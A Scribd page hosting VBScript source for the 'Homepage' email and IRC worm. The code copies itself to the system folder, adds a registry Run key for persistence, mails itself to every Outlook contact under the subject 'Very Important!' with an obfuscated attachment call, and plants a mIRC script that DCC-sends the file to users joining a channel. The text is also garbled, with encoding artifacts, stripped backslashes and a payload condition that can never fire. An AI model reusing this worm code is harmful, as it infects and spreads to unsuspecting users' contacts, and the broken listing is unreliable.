Scribd
Upload
52 views2 pages

Virus Homepage

This document contains code for a virus that infects systems by copying itself to the Windows startup folder and sending itself as an email attachment. It also checks for installed IRC clients and creates an IRC script that sends the virus file to other users on join. The virus payload randomly executes a URL to spread further.

Uploaded by

Minh Nguyễn
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOC, PDF, TXT or read online on Scribd
52 views2 pages

Virus Homepage

This document contains code for a virus that infects systems by copying itself to the Windows startup folder and sending itself as an email attachment. It also checks for installed IRC clients and creates an IRC script that sends the virus file to other users on join. The virus payload randomly executes a URL to spread further.

Uploaded by

Minh Nguyễn
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOC, PDF, TXT or read online on Scribd
You are on page 1/ 2

Code virus Homepage : trang ny c c ln

'Homepage Created By Robinhood Set FSO =3D createobject("scripting.filesystemobject") dirsystem =3D FSO.getspecialfolder(1) Path=3D dirsystem & "Win32.dll.vbs" Set WSH createobject("wscript.shell") WSH.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll", "wscript.exe " & Path& " %" FSO.copyfile wscript.scriptfullname, Path payload=20 If = WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageSend mail") <> 1 then sendmail End if If WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageIRC" ) <> 1 then IRC "" End if Set sourcefile=3D FSO.opentextfile(wscript.scriptfullname) sourcetext sourcefile.readall sourcefile.close Do if not(FSO.fileexists(wscript.scriptfullname)) then set filebackup=3D FSO.createtextfile(wscript.scriptfullname) filebackup.write sourcetext filebackup.close end if sWSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll" ) If s<> "wscript.exe " & Path& " %" then WSH.regwrite = "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll", "wscript.exe " & Path& " %" end if s=3D "" loop=20 Function sendmail() Set myapp =3D CreateObject("Outlook.Application") If myapp =3D "Outlook" Then Set myname =3D myapp.GetNameSpace("MAPI") Set myaddlists =3D myname.AddressLists For Each myaddlist In myaddlists If myaddlist.AddressEntries.Count <> 0 Then x =3D myaddlist.AddressEntries.Count For i =3D 1 To x Set mailitem =3D myapp.CreateItem(0) Set myadd =3D myaddlist.AddressEntries(i) mailitem.To =3D myadd.Address

mailitem.Subject =3D "Very Important!" mailitem.Body =3D "Hi:" & vbcrlf & "Please view this file, it's very important." & vbcrlf & "" execute "set myatts =3Dmailitem." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115) copypath Path mailitem.DeleteAfterSubmit True myatts.Add copypath If mailitem.To <> "" Then mailitem.Send End If Next End If Next End If End function Function IRC(ircpath) If ircpath <> "" Then programpath WSH.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion ProgramFilesDir") If FSO.fileexists("c:mircmirc.ini") Then ircpath =3D "c:mirc" ElseIf FSO.fileexists("c:mirc32mirc.ini") Then ircpath =3D "c:mirc32" ElseIf FSO.fileexists(programpath & "mircmirc.ini") Then ircpath =3D programpath & "mirc" ElseIf FSO.fileexists(programpath & "mirc32mirc.ini") Then ircpath =3D programpath & "mirc" Else ircpath =3D "" End If End If If ircpath <> "" Then Set ircscript =3D FSO.CreateTextFile(ircpath & "script.ini", True) text =3D "[script]" & vbCrLf & "n0=3Don 1:JOIN:#:{" text =3D text & vbCrLf & "n0=3Don 1:JOIN:#:{" text =3D text & vbCrLf & "n1=3D /if ( $nick =3D=3D $me ) { halt }" text =3D text & vbCrLf & "n2=3D /." & Chr(100) & Chr(99) & Chr(99) & " send $nick " text =3D text & Path text =3D text & vbCrLf & "n3=3D}" ircscript.write(text) ircscript.Close End If End Function=20 Function payload() Randomize If 1 + Int(Rnd * 5) =3D 7 then WSH.run "Http://www.virii.com.ar",false end if end function

You might also like